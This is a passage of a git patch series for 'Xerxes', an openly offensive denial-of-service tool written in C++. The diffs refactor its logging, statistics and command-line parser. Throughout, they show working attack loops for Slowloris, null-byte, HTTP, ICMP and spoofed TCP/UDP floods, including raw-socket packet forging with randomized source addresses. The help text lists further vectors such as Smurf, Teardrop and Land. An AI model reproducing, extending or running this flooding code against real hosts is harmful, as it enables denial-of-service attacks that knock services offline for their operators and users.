Logger::Log(std::string *message, Level l) { - if(level >= l){ - switch (l){ - case Level::None: - break; - case Level::Error: - std::cerr << RED << "[ERROR]: " << *message << RESET << std::endl; - break; - case Level::Warning: - std::cout << YEL << "[WARNING]: " << *message << RESET << std::endl; - break; - case Level::Info: - std::cout << GRN << "[INFO]: " << *message << RESET << std::endl; - break; - default: - return; - } - } -} - -void Logger::Log(const char *message, Logger::Level l) { - std::string str = std::string{message}; - Log(&str, l); -} - -Logger::Logger() = default; - -Logger::Logger(Level l): level{l}{ - -} - -void Logger::setLevel(Logger::Level l) { - level = l; -} \ No newline at end of file diff --git a/Sources/Null_Flood.cpp b/Sources/Null_Flood.cpp index e568d2d..4b84da2 100755 --- a/Sources/Null_Flood.cpp +++ b/Sources/Null_Flood.cpp @@ -3,7 +3,7 @@ #include #include "../Headers/Null_Flood.hpp" -void Null_Flood::attack(const int *id) { +void Null_Flood::attack() { int r; std::vector sockets; sockets.reserve(static_cast(conf->CONNECTIONS)); @@ -12,7 +12,6 @@ void Null_Flood::attack(const int *id) { } int socktype = conf->protocol; while(true) { - static std::string message; for (int x = 0; x < conf->CONNECTIONS; x++) { if(!sockets[x]){ sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), socktype); @@ -23,21 +22,17 @@ void Null_Flood::attack(const int *id) { }else{ if(conf->GetResponse){ read_socket(sockets[x]); + }else{ + conf->voly++; } - message = std::string("Socket[") + std::to_string(x) + "->" - + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - conf->logger->Log(&message, Logger::Info); - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); } } - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + conf->voly++; pause(); } } -void Null_Flood::attack_ssl(const int *id) { +void Null_Flood::attack_ssl() { int r; std::vector sockets; std::vector CTXs; @@ -52,7 +47,6 @@ void Null_Flood::attack_ssl(const int *id) { CTXs.emplace_back(nullptr); } while(true) { - static std::string message; for (int x = 0; x < conf->CONNECTIONS; x++) { if(!sockets[x]){ sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), socktype); @@ -67,16 +61,12 @@ void Null_Flood::attack_ssl(const int *id) { }else{ if(conf->GetResponse){ read_socket(SSLs[x]); + }else{ + conf->voly++; } - message = std::string("Socket[") + std::to_string(x) + "->" - + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - conf->logger->Log(&message, Logger::Info); - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); } } - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + conf->voly++; pause(); } } diff --git a/Sources/Parser.cpp b/Sources/Parser.cpp index e2cdc47..c4c3014 100755 --- a/Sources/Parser.cpp +++ b/Sources/Parser.cpp @@ -5,9 +5,10 @@ #include #include "../Headers/Parser.hpp" +#include "../Headers/Logging.hpp" void Parser::help() { - std::string message{"Usage: ./Xerxes -target -port \n" + const char* msg{"Usage: ./Xerxes -target -port \n" "\nOptions:\n" " -h set attack vector to HTTP\n" " -i set attack vector to Spoofed ICMP Flood\n" @@ -35,10 +36,6 @@ void Parser::help() { " -ru randomize HTTP UserAgent\n" " -rs randomize Source IP\n" " -rp randomize Source Port\n" - " -qq set verbosity to quiet quiet\n" - " -q set verbosity to quiet\n" - " -v set verbosity to verbose\n" - " -vv set verbosity to very verbose\n" " -D set delay in microseconds\n" " -T set number of threads\n" " -C set number of connections per thread\n" @@ -48,12 +45,12 @@ void Parser::help() { " -help show help\n" " -version show version\n" }; - std::cout << message << std::endl; + fprintf(stdout, "%s\n", msg); exit(EXIT_SUCCESS); } void Parser::show_banner() { - std::cout << "Xerxes version " << Version << " " << Time << " (Xerxes - Revised)" << std::endl; + fprintf(stdout, "Xerxes version %s %s (Xerxes - Revised)\n", Version, Time); } void Parser::parse_commandline(int argc, const char *argv[]) { @@ -62,10 +59,10 @@ void Parser::parse_commandline(int argc, const char *argv[]) { for(int i = 1; i < argc; i++){ if(arguments[argv[i]]){ if(argv[i+1]){ - std::string next = std::string{argv[i+1]}; + const char *next = argv[i+1]; arguments[argv[i]](next); }else{ - arguments[argv[i]]((std::string&)" "); + arguments[argv[i]](" "); } } } @@ -81,7 +78,7 @@ Parser::Parser(std::shared_ptr conf) : conf{std::move(conf)}{ void Parser::check_root() { if(getuid()){ - conf->logger->Log("You need to be root", Logger::Error); + print_error("You need to be root"); exit(EXIT_FAILURE); } } @@ -100,67 +97,61 @@ void Parser::getUserAgents() { } filestream.close(); }else{ - conf->logger->Log("Unable to find useragents file", Logger::Warning); + print_warning("Unable to find useragents file"); } } void Parser::init_arguments() { // Attack Vector - arguments["-h"] = [&](std::string&){conf->vector = Config::HTTP;conf->protocol = Config::TCP;}; - arguments["-nu"] = [&](std::string&){conf->vector = Config::NullUDP;conf->protocol = Config::UDP;}; - arguments["-nt"] = [&](std::string&){conf->vector = Config::NullTCP;conf->protocol = Config::TCP;}; - arguments["-fu"] = [&](std::string&){conf->vector = Config::UDPFlood;conf->protocol = Config::UDP;}; - arguments["-ft"] = [&](std::string&){conf->vector = Config::TCPFlood;conf->protocol = Config::TCP;}; - arguments["-r"] = [&](std::string&){conf->vector = Config::Rudy;conf->protocol = Config::TCP;conf->delay = 10000000;}; - arguments["-s"] = [&](std::string&){conf->vector = Config::Slowloris;conf->protocol = Config::TCP;conf->delay = 10000000;}; - arguments["-su"] = [&](std::string&){conf->vector = Config::SpoofedUDP;}; - arguments["-sy"] = [&](std::string&){conf->vector = Config::SpoofedSyn;}; - arguments["-sa"] = [&](std::string&){conf->vector = Config::SpoofedAck;}; - arguments["-sr"] = [&](std::string&){conf->vector = Config::SpoofedRST;}; - arguments["-sg"] = [&](std::string&){conf->vector = Config::SpoofedURG;}; - arguments["-sp"] = [&](std::string&){conf->vector = Config::SpoofedPUSH;}; - arguments["-sf"] = [&](std::string&){conf->vector = Config::SpoofedFin;}; - arguments["-i"] = [&](std::string&){conf->vector = Config::ICMPFlood;}; - arguments["-b"] = [&](std::string&){conf->vector = Config::Blacknurse;}; - arguments["-be"] = [&](std::string&){conf->vector = Config::Beast;}; - arguments["-td"] = [&](std::string&){conf->vector = Config::TearDrop;}; - arguments["-ld"] = [&](std::string&){conf->vector = Config::Land;}; - arguments["-sm"] = [&](std::string&){conf->vector = Config::Smurf;}; + arguments["-h"] = [&](const char*){conf->vector = Config::HTTP;conf->protocol = Config::TCP;}; + arguments["-nu"] = [&](const char*){conf->vector = Config::NullUDP;conf->protocol = Config::UDP;}; + arguments["-nt"] = [&](const char*){conf->vector = Config::NullTCP;conf->protocol = Config::TCP;}; + arguments["-fu"] = [&](const char*){conf->vector = Config::UDPFlood;conf->protocol = Config::UDP;}; + arguments["-ft"] = [&](const char*){conf->vector = Config::TCPFlood;conf->protocol = Config::TCP;}; + arguments["-r"] = [&](const char*){conf->vector = Config::Rudy;conf->protocol = Config::TCP;conf->delay = 10000000;}; + arguments["-s"] = [&](const char*){conf->vector = Config::Slowloris;conf->protocol = Config::TCP;conf->delay = 10000000;}; + arguments["-su"] = [&](const char*){conf->vector = Config::SpoofedUDP;}; + arguments["-sy"] = [&](const char*){conf->vector = Config::SpoofedSyn;}; + arguments["-sa"] = [&](const char*){conf->vector = Config::SpoofedAck;}; + arguments["-sr"] = [&](const char*){conf->vector = Config::SpoofedRST;}; + arguments["-sg"] = [&](const char*){conf->vector = Config::SpoofedURG;}; + arguments["-sp"] = [&](const char*){conf->vector = Config::SpoofedPUSH;}; + arguments["-sf"] = [&](const char*){conf->vector = Config::SpoofedFin;}; + arguments["-i"] = [&](const char*){conf->vector = Config::ICMPFlood;}; + arguments["-b"] = [&](const char*){conf->vector = Config::Blacknurse;}; + arguments["-be"] = [&](const char*){conf->vector = Config::Beast;}; + arguments["-td"] = [&](const char*){conf->vector = Config::TearDrop;}; + arguments["-ld"] = [&](const char*){conf->vector = Config::Land;}; + arguments["-sm"] = [&](const char*){conf->vector = Config::Smurf;}; // Randomization - arguments["-ru"] = [&](std::string&){conf->RandomizeUserAgent = true;}; - arguments["-rh"] = [&](std::string&){conf->RandomizeHeader = true;}; - arguments["-rs"] = [&](std::string&){conf->RandomizeSource = true;}; - arguments["-rp"] = [&](std::string&){conf->RandomizePort = true;}; + arguments["-ru"] = [&](const char*){conf->RandomizeUserAgent = true;}; + arguments["-rh"] = [&](const char*){conf->RandomizeHeader = true;}; + arguments["-rs"] = [&](const char*){conf->RandomizeSource = true;}; + arguments["-rp"] = [&](const char*){conf->RandomizePort = true;}; // Other - arguments["-w"] = [&](std::string&){conf->GetResponse = true;}; - arguments["-ss"] = [&](std::string&){conf->UseSSL = true;}; - arguments["-help"] = [&](std::string&){help();}; - arguments["-version"] = [&](std::string&){exit(EXIT_SUCCESS);}; - - // Logging - arguments["-q"] = [&](std::string&){conf->logger->setLevel(Logger::Error);}; - arguments["-qq"] = [&](std::string&){conf->logger->setLevel(Logger::None);}; - arguments["-v"] = [&](std::string&){conf->logger->setLevel(Logger::Warning);}; - arguments["-vv"] = [&](std::string&){conf->logger->setLevel(Logger::Info);}; + arguments["-w"] = [&](const char*){conf->GetResponse = true;}; + arguments["-ss"] = [&](const char*){conf->UseSSL = true;}; + arguments["-help"] = [&](const char*){help();}; + arguments["-version"] = [&](const char*){exit(EXIT_SUCCESS);}; // Configuration - arguments["-target"] = [&](std::string& target){conf->website = static_cast(target);}; - arguments["-port"] = [&](std::string& port){conf->port = static_cast(port);}; - arguments["-T"] = [&](std::string& thread){ - if(Validator::isValidNumber(thread.c_str())){ - conf->THREADS = static_cast(strtol(thread.c_str(), nullptr, 10)); + arguments["-target"] = [&](const char* target){conf->website = static_cast(target);}; + arguments["-port"] = [&](const char* port){conf->port = static_cast(port);}; + arguments["-T"] = [&](const char* thread){ + if(Validator::isValidNumber(thread)){ + conf->THREADS = static_cast(strtol(thread, nullptr, 10)); } }; - arguments["-C"] = [&](std::string& connections){ - if(Validator::isValidNumber(connections.c_str())){ - conf->CONNECTIONS = static_cast(strtol(connections.c_str(), nullptr, 10)); + arguments["-C"] = [&](const char* connections){ + if(Validator::isValidNumber(connections)){ + conf->CONNECTIONS = static_cast(strtol(connections, nullptr, 10)); } }; - arguments["-D"] = [&](std::string& delay){ - if(Validator::isValidNumber(delay.c_str())){ - conf->delay = static_cast(strtol(delay.c_str(), nullptr, 10));} + arguments["-D"] = [&](const char* delay){ + if(Validator::isValidNumber(delay)){ + conf->delay = static_cast(strtol(delay, nullptr, 10));} }; - arguments["-B"] = [&](std::string& broadcast){conf->broadcast = static_cast(broadcast);}; + arguments["-B"] = [&](const char* broadcast){conf->broadcast = static_cast(broadcast);}; } diff --git a/Sources/Slowloris.cpp b/Sources/Slowloris.cpp index 73294cc..4904ecd 100755 --- a/Sources/Slowloris.cpp +++ b/Sources/Slowloris.cpp @@ -5,7 +5,7 @@ #include "../Headers/Slowloris.hpp" -void Slowloris::attack(const int *id) { +void Slowloris::attack() { int r; std::vector sockets; sockets.reserve(static_cast(conf->CONNECTIONS)); @@ -13,7 +13,6 @@ void Slowloris::attack(const int *id) { sockets.emplace_back(0); } while(true) { - static std::string message; for (int x = 0; x < conf->CONNECTIONS; x++) { httphdr header{}; if(!sockets[x]){ @@ -29,21 +28,17 @@ void Slowloris::attack(const int *id) { Randomizer::randomstr((std::string&)*(&header)); if(conf->GetResponse){ read_socket(sockets[x]); + }else{ + conf->voly++; } - message = std::string("Socket[") + std::to_string(x) + "->" - + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - conf->logger->Log(&message, Logger::Info); - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); } } - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + conf->voly++; pause(); } } -void Slowloris::attack_ssl(const int *id) { +void Slowloris::attack_ssl() { int r; std::vector sockets; std::vector CTXs; @@ -57,7 +52,6 @@ void Slowloris::attack_ssl(const int *id) { CTXs.emplace_back(nullptr); } while(true) { - static std::string message; for (int x = 0; x < conf->CONNECTIONS; x++) { httphdr header{}; if(!sockets[x]){ @@ -77,16 +71,12 @@ void Slowloris::attack_ssl(const int *id) { Randomizer::randomstr((std::string&)*(&header)); if(conf->GetResponse){ read_socket(SSLs[x]); + }else{ + conf->voly++; } - message = std::string("Socket[") + std::to_string(x) + "->" - + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - conf->logger->Log(&message, Logger::Info); - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); } } - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + conf->voly++; pause(); } } @@ -99,7 +89,7 @@ void Slowloris::init_header(httphdr *header) { switch (conf->vector){ case Config::Slowloris: - header->method = Randomizer::random_method(); + Randomizer::random_method(header->method); break; case Config::Rudy: header->method = "POST"; @@ -108,16 +98,17 @@ void Slowloris::init_header(httphdr *header) { default:break; } if(conf->RandomizeHeader){ - Randomizer::randomstr(header->location); + Randomizer::randomstr(header->path); } - header->useragent = Randomizer::random_useragent(*(conf->useragents)); - header->cache_control = Randomizer::random_caching(); - header->encoding = Randomizer::random_encoding(); - header->charset = {Randomizer::random_charset(), Randomizer::random_charset()}; - header->referer = Randomizer::random_referer(); + Randomizer::random_useragent(*(conf->useragents), header->useragent); + Randomizer::random_caching(header->cache_control); + Randomizer::random_encoding(header->encoding); + Randomizer::random_charset(header->charset[0]); + Randomizer::random_charset(header->charset[1]); + Randomizer::random_referer(header->referer); header->accept = "*/*"; header->connection_type = "Keep-Alive"; - header->content_type = Randomizer::random_contenttype(); + Randomizer::random_contenttype(header->content_type); Randomizer::randomstr(header->cookie[0]); Randomizer::randomstr(header->cookie[1]); header->keep_alive = Randomizer::randomInt(1, 5000); diff --git a/Sources/Spoofed_Flood.cpp b/Sources/Spoofed_Flood.cpp index 8258380..a045978 100755 --- a/Sources/Spoofed_Flood.cpp +++ b/Sources/Spoofed_Flood.cpp @@ -1,6 +1,7 @@ #include #include #include "../Headers/Spoofed_Flood.hpp" +#include "../Headers/Logging.hpp" Spoofed_Flood::Spoofed_Flood(std::shared_ptr conf) : Attack_Vector(std::move(conf)){ @@ -19,12 +20,12 @@ unsigned short Spoofed_Flood::csum(unsigned short *buf, int len) { int Spoofed_Flood::make_socket(int protocol) { int sock, on = 1; if((sock = socket(AF_INET, SOCK_RAW, protocol)) == -1){ - conf->logger->Log("socket() error", Logger::Error); + print_error("socket() error"); exit(EXIT_FAILURE); } if(setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) == -1){ - conf->logger->Log("setsockopt() error", Logger::Error); + print_error("setsockopt() error"); exit(EXIT_FAILURE); } return sock; diff --git a/Sources/Spoofed_TCP_Flood.cpp b/Sources/Spoofed_TCP_Flood.cpp index 80aa4a4..1872309 100755 --- a/Sources/Spoofed_TCP_Flood.cpp +++ b/Sources/Spoofed_TCP_Flood.cpp @@ -8,15 +8,15 @@ #include #include "../Headers/Randomizer.hpp" #include "../Headers/Spoofed_TCP_Flood.hpp" +#include "../Headers/Logging.hpp" -void Spoofed_TCP_Flood::attack(const int *id) { +void Spoofed_TCP_Flood::attack() { int r; std::vector sockets; sockets.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { sockets.emplace_back(0); } - std::string message{}; char buf[8192], *pseudogram; struct pseudo_header psh{}; auto *ip = (struct iphdr *) buf; @@ -32,7 +32,7 @@ void Spoofed_TCP_Flood::attack(const int *id) { if((hp = gethostbyname(conf->website.c_str())) == nullptr){ if((ip->daddr = inet_addr(conf->website.c_str())) == -1){ - conf->logger->Log("Can't resolve the host", Logger::Error); + print_error("Can't resolve the host"); exit(EXIT_FAILURE); } }else{ @@ -73,17 +73,12 @@ void Spoofed_TCP_Flood::attack(const int *id) { close(sockets[x]); sockets[x] = make_socket(IPPROTO_TCP); }else{ - message = std::string("Socket[") + std::to_string(x) + "->" - + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - conf->logger->Log(&message, Logger::Info); - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + conf->voly++; } delete pseudogram; } - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + conf->voly++; pause(); } } diff --git a/Sources/Spoofed_UDP_Flood.cpp b/Sources/Spoofed_UDP_Flood.cpp index 12e3916..0ccb758 100755 --- a/Sources/Spoofed_UDP_Flood.cpp +++ b/Sources/Spoofed_UDP_Flood.cpp @@ -8,15 +8,15 @@ #include #include "../Headers/Randomizer.hpp" #include "../Headers/Spoofed_UDP_Flood.hpp" +#include "../Headers/Logging.hpp" -void Spoofed_UDP_Flood::attack(const int *id) { +void Spoofed_UDP_Flood::attack() { int r; std::vector sockets; sockets.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { sockets.emplace_back(0); } - std::string message{}; char buf[8192], *pseudogram; struct pseudo_header psh{}; auto *ip = (struct iphdr *) buf; @@ -32,7 +32,7 @@ void Spoofed_UDP_Flood::attack(const int *id) { if((hp = gethostbyname(conf->website.c_str())) == nullptr){ if((ip->daddr = inet_addr(conf->website.c_str())) == -1){ - conf->logger->Log("Can't resolve the host", Logger::Error); + print_error("Can't resolve the host"); exit(EXIT_FAILURE); } }else{ @@ -73,17 +73,12 @@ void Spoofed_UDP_Flood::attack(const int *id) { close(sockets[x]); sockets[x] = make_socket(IPPROTO_UDP); }else{ - message = std::string("Socket[") + std::to_string(x) + "->" - + std::to_string(sockets[x]) + "] -> " + std::to_string(r); - conf->logger->Log(&message, Logger::Info); - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + conf->voly++; } delete pseudogram; } - message = std::to_string(*id) + ": Voly Sent"; - conf->logger->Log(&message, Logger::Info); + conf->voly++; pause(); } } diff --git a/Sources/httphdr.cpp b/Sources/httphdr.cpp index b8546b3..3033315 100644 --- a/Sources/httphdr.cpp +++ b/Sources/httphdr.cpp @@ -3,7 +3,7 @@ #define TERMINATOR "\r\n" void httphdr::generate_unterminated() { - hdr = method + " /" + location + " HTTP/1.0" + TERMINATOR + hdr = method + " /" + path + " HTTP/1.0" + TERMINATOR + "User-Agent: " + useragent + TERMINATOR + "Cache-Control: " + cache_control + TERMINATOR + "Accept-Encoding: " + encoding + TERMINATOR @@ -37,6 +37,20 @@ httphdr& httphdr::operator=(std::string& header) noexcept{ } httphdr& httphdr::operator=(httphdr&& header) noexcept{ + method = header.method; + path = header.path; + useragent = header.useragent; + cache_control = header.cache_control; + encoding = header.encoding; + charset = header.charset; + referer = header.referer; + content_type = header.content_type; + cookie = header.cookie; + connection_type = header.connection_type; + keep_alive = header.keep_alive; + DNT = header.DNT; + accept = header.accept; + content_length = header.content_length; hdr = header.get(); return *this; } diff --git a/main.cpp b/main.cpp index 4c356db..9030d36 100755 --- a/main.cpp +++ b/main.cpp @@ -2,28 +2,38 @@ #include #include #include +#include #include "Headers/Parser.hpp" +#include "Headers/Logging.hpp" const pid_t m_pid = getpid(); +std::function show_stat; -void exiting(int){ + +void exit_signal(int){ if (getpid() == m_pid) { - std::cout << "Shutting down...\n"; - usleep(1000000); + fprintf(stdout, "%s\n", "Shutting down..."); } exit(EXIT_SUCCESS); } +void on_exit(){ + if (getpid() == m_pid) { + show_stat(); + } +} + void broke(int){ // pass } void init_signals(){ - signal(SIGINT, &exiting); - signal(SIGABRT, &exiting); - signal(SIGTERM, &exiting); - signal(SIGTSTP, &exiting); + signal(SIGINT, &exit_signal); + signal(SIGABRT, &exit_signal); + signal(SIGTERM, &exit_signal); + signal(SIGTSTP, &exit_signal); signal(SIGPIPE, &broke); + atexit(on_exit); } int main(const int argc, const char *argv[]) { @@ -31,14 +41,16 @@ int main(const int argc, const char *argv[]) { Parser::show_banner(); auto config = std::make_shared(); + show_stat = [&]{config->show_stat();}; auto parser = std::make_unique(config); parser->parse_commandline(argc, argv); auto validator = std::make_unique(config); if(validator->Validate()){ + config->timer.start_time = clock(); auto engine = std::make_unique(config); engine->run(); }else{ - config->logger->Log("Invalid Configuration", Logger::Error); + print_error("Invalid Configuration"); Parser::help(); } From 77cd62862cbb12fa8498181cc4267536ed6d6fa8 Mon Sep 17 00:00:00 2001 From: Sepehrdad Sh Date: Fri, 1 Jun 2018 22:02:21 +0400 Subject: [PATCH 05/20] Debugging... --- Sources/Null_Flood.cpp | 6 ++---- Sources/Slowloris.cpp | 6 ++---- main.cpp | 1 + 3 files changed, 5 insertions(+), 8 deletions(-) diff --git a/Sources/Null_Flood.cpp b/Sources/Null_Flood.cpp index 4b84da2..7146f2b 100755 --- a/Sources/Null_Flood.cpp +++ b/Sources/Null_Flood.cpp @@ -22,9 +22,8 @@ void Null_Flood::attack() { }else{ if(conf->GetResponse){ read_socket(sockets[x]); - }else{ - conf->voly++; } + conf->voly++; } } conf->voly++; @@ -61,9 +60,8 @@ void Null_Flood::attack_ssl() { }else{ if(conf->GetResponse){ read_socket(SSLs[x]); - }else{ - conf->voly++; } + conf->voly++; } } conf->voly++; diff --git a/Sources/Slowloris.cpp b/Sources/Slowloris.cpp index 4904ecd..ed9a70c 100755 --- a/Sources/Slowloris.cpp +++ b/Sources/Slowloris.cpp @@ -28,9 +28,8 @@ void Slowloris::attack() { Randomizer::randomstr((std::string&)*(&header)); if(conf->GetResponse){ read_socket(sockets[x]); - }else{ - conf->voly++; } + conf->voly++; } } conf->voly++; @@ -71,9 +70,8 @@ void Slowloris::attack_ssl() { Randomizer::randomstr((std::string&)*(&header)); if(conf->GetResponse){ read_socket(SSLs[x]); - }else{ - conf->voly++; } + conf->voly++; } } conf->voly++; diff --git a/main.cpp b/main.cpp index 9030d36..9bb601c 100755 --- a/main.cpp +++ b/main.cpp @@ -13,6 +13,7 @@ std::function show_stat; void exit_signal(int){ if (getpid() == m_pid) { fprintf(stdout, "%s\n", "Shutting down..."); + usleep(100000); } exit(EXIT_SUCCESS); } From 864e9c1ea0ecdd44442c11fb8ccc1c9daf50dc06 Mon Sep 17 00:00:00 2001 From: Sepehrdad Sh Date: Fri, 1 Jun 2018 23:17:52 +0400 Subject: [PATCH 06/20] Adding Features... --- Headers/Configuration.hpp | 8 +++++--- Sources/Engine.cpp | 6 ++++++ 2 files changed, 11 insertions(+), 3 deletions(-) diff --git a/Headers/Configuration.hpp b/Headers/Configuration.hpp index bf0cedc..6370d0d 100755 --- a/Headers/Configuration.hpp +++ b/Headers/Configuration.hpp @@ -37,9 +37,11 @@ struct Config{ } }timer; void show_stat(){ - timer.end_time = clock(); - fprintf(stdout, "--- %s Attack statistics ---\n%llu Voly sent, time %f s\n", website.c_str(), voly, - ((float)timer.get())/CLOCKS_PER_SEC); + if((!website.empty()) && (voly != 0)){ + timer.end_time = clock(); + fprintf(stdout, "--- %s Attack statistics ---\n%llu Voly sent, time %f s\n", website.c_str(), voly, + ((float)timer.get())/CLOCKS_PER_SEC); + } } }; diff --git a/Sources/Engine.cpp b/Sources/Engine.cpp index 3456345..8a40185 100755 --- a/Sources/Engine.cpp +++ b/Sources/Engine.cpp @@ -108,6 +108,12 @@ void Engine::run() { if(conf->RandomizeUserAgent){ print_info("Useragent Randomization Enabled"); } + if(conf->RandomizeSource){ + print_info("Source Randomization Enabled"); + } + if(conf->RandomizePort){ + print_info("Port Randomization Enabled"); + } fprintf(stdout, "%s", "--- press to stop ---\n\n\n"); flood->run(); } From a07e53cbbf55d131fd0178287ed934abcd869888 Mon Sep 17 00:00:00 2001 From: Sepehrdad Sh Date: Sat, 2 Jun 2018 00:13:17 +0400 Subject: [PATCH 07/20] Debugging... --- Headers/Configuration.hpp | 2 +- Sources/Http_Flood.cpp | 8 ++------ Sources/ICMP_Flood.cpp | 5 +---- Sources/Null_Flood.cpp | 8 ++------ Sources/Slowloris.cpp | 8 ++------ Sources/Spoofed_TCP_Flood.cpp | 6 +----- Sources/Spoofed_UDP_Flood.cpp | 6 +----- 7 files changed, 10 insertions(+), 33 deletions(-) diff --git a/Headers/Configuration.hpp b/Headers/Configuration.hpp index 6370d0d..431a0da 100755 --- a/Headers/Configuration.hpp +++ b/Headers/Configuration.hpp @@ -37,7 +37,7 @@ struct Config{ } }timer; void show_stat(){ - if((!website.empty()) && (voly != 0)){ + if((!website.empty()) && (voly > 0)){ timer.end_time = clock(); fprintf(stdout, "--- %s Attack statistics ---\n%llu Voly sent, time %f s\n", website.c_str(), voly, ((float)timer.get())/CLOCKS_PER_SEC); diff --git a/Sources/Http_Flood.cpp b/Sources/Http_Flood.cpp index 50e26ae..087d3de 100755 --- a/Sources/Http_Flood.cpp +++ b/Sources/Http_Flood.cpp @@ -116,7 +116,6 @@ int Http_Flood::write_socket(SSL *ssl, const char *string, int length) { } void Http_Flood::attack() { - int r; std::vector sockets; sockets.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { @@ -129,14 +128,13 @@ void Http_Flood::attack() { } httphdr header{}; init_header(&header); - if((r = write_socket(sockets[x], header.get().c_str(), static_cast(header.length()))) == -1){ + if((write_socket(sockets[x], header.get().c_str(), static_cast(header.length()))) == -1){ cleanup(&sockets[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), conf->protocol); }else{ if(conf->GetResponse){ read_socket(sockets[x]); } - conf->voly++; } } conf->voly++; @@ -145,7 +143,6 @@ void Http_Flood::attack() { } void Http_Flood::attack_ssl() { - int r; std::vector sockets; std::vector CTXs; std::vector SSLs; @@ -166,7 +163,7 @@ void Http_Flood::attack_ssl() { } httphdr header{}; init_header(&header); - if((r = write_socket(SSLs[x], header.get().c_str(), static_cast(header.length()))) == -1){ + if((write_socket(SSLs[x], header.get().c_str(), static_cast(header.length()))) == -1){ cleanup(SSLs[x], &sockets[x], CTXs[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), conf->protocol); CTXs[x] = InitCTX(); @@ -175,7 +172,6 @@ void Http_Flood::attack_ssl() { if(conf->GetResponse){ read_socket(SSLs[x]); } - conf->voly++; } } conf->voly++; diff --git a/Sources/ICMP_Flood.cpp b/Sources/ICMP_Flood.cpp index 9d413f6..058501a 100755 --- a/Sources/ICMP_Flood.cpp +++ b/Sources/ICMP_Flood.cpp @@ -10,7 +10,6 @@ #include "../Headers/Logging.hpp" void ICMP_Flood::attack() { - int r; std::vector sockets; sockets.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { @@ -56,11 +55,9 @@ void ICMP_Flood::attack() { icmp->checksum = htons(csum((unsigned short *) buf, (sizeof(struct ip) + sizeof(struct icmphdr)))); - if((r = static_cast(sendto(sockets[x], buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)))) == -1){ + if((static_cast(sendto(sockets[x], buf, sizeof(buf), 0, (struct sockaddr *)&dst, sizeof(dst)))) == -1){ close(sockets[x]); sockets[x] = make_socket(IPPROTO_ICMP); - }else{ - conf->voly++; } } conf->voly++; diff --git a/Sources/Null_Flood.cpp b/Sources/Null_Flood.cpp index 7146f2b..551779a 100755 --- a/Sources/Null_Flood.cpp +++ b/Sources/Null_Flood.cpp @@ -4,7 +4,6 @@ #include "../Headers/Null_Flood.hpp" void Null_Flood::attack() { - int r; std::vector sockets; sockets.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { @@ -16,14 +15,13 @@ void Null_Flood::attack() { if(!sockets[x]){ sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), socktype); } - if((r = write_socket(sockets[x],"\0", 1)) == -1){ + if((write_socket(sockets[x],"\0", 1)) == -1){ cleanup(&sockets[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), socktype); }else{ if(conf->GetResponse){ read_socket(sockets[x]); } - conf->voly++; } } conf->voly++; @@ -32,7 +30,6 @@ void Null_Flood::attack() { } void Null_Flood::attack_ssl() { - int r; std::vector sockets; std::vector CTXs; std::vector SSLs; @@ -52,7 +49,7 @@ void Null_Flood::attack_ssl() { CTXs[x] = InitCTX(); SSLs[x] = Apply_SSL(sockets[x], CTXs[x]); } - if((r = write_socket(SSLs[x], "\0", 1)) == -1){ + if((write_socket(SSLs[x], "\0", 1)) == -1){ cleanup(SSLs[x], &sockets[x], CTXs[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), socktype); CTXs[x] = InitCTX(); @@ -61,7 +58,6 @@ void Null_Flood::attack_ssl() { if(conf->GetResponse){ read_socket(SSLs[x]); } - conf->voly++; } } conf->voly++; diff --git a/Sources/Slowloris.cpp b/Sources/Slowloris.cpp index ed9a70c..4ef5fdd 100755 --- a/Sources/Slowloris.cpp +++ b/Sources/Slowloris.cpp @@ -6,7 +6,6 @@ #include "../Headers/Slowloris.hpp" void Slowloris::attack() { - int r; std::vector sockets; sockets.reserve(static_cast(conf->CONNECTIONS)); for (int x = 0; x < conf->CONNECTIONS; x++) { @@ -20,7 +19,7 @@ void Slowloris::attack() { init_header(&header); } - if((r = write_socket(sockets[x], header.get().c_str(), static_cast(header.length()))) == -1){ + if((write_socket(sockets[x], header.get().c_str(), static_cast(header.length()))) == -1){ cleanup(&sockets[x]); sockets[x] = make_socket(conf->website.c_str(), conf->port.c_str(), SOCK_STREAM); init_header(&header); @@ -29,7 +28,6 @@ void Slowloris::attack() { if(conf->GetResponse){ read_socket(sockets[x]); } - conf->voly++; } } conf->voly++; @@ -38,7 +36,6 @@ void Slowloris::attack() { } void Slowloris::attack_ssl() { - int r; std::vector sockets; std::vector CTXs; std::vector SSLs; @@ -60,7 +57,7 @@ void Slowloris::attack_ssl() { init_header(&header); } - if((r = write_socket(SSLs[x], header.get().c_str(), 